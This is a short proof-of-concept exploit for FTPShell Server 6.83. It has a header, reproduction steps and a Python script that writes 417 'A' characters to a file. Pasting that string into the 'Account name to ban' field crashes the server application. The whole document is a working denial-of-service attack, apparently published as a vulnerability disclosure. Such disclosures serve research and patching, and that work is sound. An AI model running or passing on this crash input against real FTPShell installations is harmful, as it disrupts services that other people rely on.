#Exploit Title: FTPShell Server 6.83 - Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2018-02-20#Vendor Homepage: http://www.ftpshell.com/index.htm#Software Link: http://www.ftpshell.com/downloadserver.htm#Tested Version: 6.83#Tested on: Windows 7 x64 Service Pack 1#Steps to produce the crash:#1.- Run python code: FTPShell_Server_6.83.py#2.- Open ftpshell.txt and copy content to clipboard#3.- Open FTPShell Server#4.- Select "Manage FTP Accounts"#5.- Select "Add Account Name" > in "Account name to ban" Paste Clipboard#6.- Click on "Ok"#7.- Crashed
cod = "\x41"* 417
f = open('ftpshell.txt','w')
f.write(cod)
f.close()